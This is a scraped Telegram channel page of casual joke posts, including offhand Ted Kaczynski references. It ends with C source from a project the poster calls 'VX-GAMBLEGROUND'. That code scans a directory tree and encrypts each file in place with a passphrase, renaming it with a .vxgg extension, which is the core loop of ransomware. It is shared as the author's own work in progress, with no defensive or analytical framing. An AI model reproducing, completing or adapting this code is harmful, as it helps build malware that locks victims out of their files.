DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
107 subscribers
2.64K photos
2.15K videos
16 files
142 links
dumb shit only
Chat: https://t.me/DUUMSHTTERS
Quote wall: https://t.me/sht_tg_says
Download Telegram
ted kaczynski
2🤣1
Made a huge pot of borsch and I have 6 bowls worth in the fridge
This media is not supported in your browser
VIEW IN TELEGRAM
I've done this so many times as a kid and never learned from it somehow
🤝1
This media is not supported in your browser
VIEW IN TELEGRAM
I need to go do the 4 S's:
Shit
Shower
Shave
Stalk the night
Forwarded from Mk 16 Simp
Nothing better than singing to the midnight moon
i think psyxhe is in his kaczynski phase
🥰1👻1
I do not handle passive-aggressiveness well
Made the encryption function in VX-GAMBLEGROUND less retarded by actually using header files for their purpose
//// In "encryption.c"
int encryptvxgg(const struct nodelist *list, const char *passphrase) {
int fd = -1;

regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);

// Encrypt everything
for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files
continue;

fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath);
#endif
continue;
}

passencblock(fd, passphrase);
close(fd);
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif

}

return 0;
}

//// in "VX-GAMBLEGROUND.c"
int scanundencrypt(void *passed) {
struct sande *p = (struct sande *)passed;

p->scanned = scanfiles(p->STARTPATH, p->cmp);
encryptvxgg(p->scanned, p->passphrase);

return 0;
}